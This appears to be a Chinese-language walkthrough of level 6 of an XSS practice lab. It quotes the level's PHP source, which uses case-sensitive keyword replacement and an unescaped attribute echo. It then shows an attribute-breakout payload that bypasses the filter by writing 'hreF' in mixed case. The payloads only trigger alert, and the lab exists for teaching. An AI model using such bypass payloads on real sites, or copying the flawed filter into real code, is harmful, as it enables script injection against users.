访问题目url
还是经典语句起手
<script>alert('xss')</script>
发现返回结果和第五关差不多
那我们使用第五关的语句试一下
"><a href=javascript:alert('xss')>xss</a>//
并未发生可跳转情况
那我们直接去看一手源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level7.php?keyword=move up!";
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
通过str_replace()
函数进行字符串替换,将可能被利用进行跨站脚本攻击的字符串全部替换成无害的字符串。最后通过htmlspecialchars()
函数进行HTML字符编码,确保用户输入的关键字不会被解析为HTML代码,以防止跨站脚本攻击。
然后我们用大小写绕过的手法试一下
"><a hreF=javascript:alert('xss')>xss</a>//
成功绕过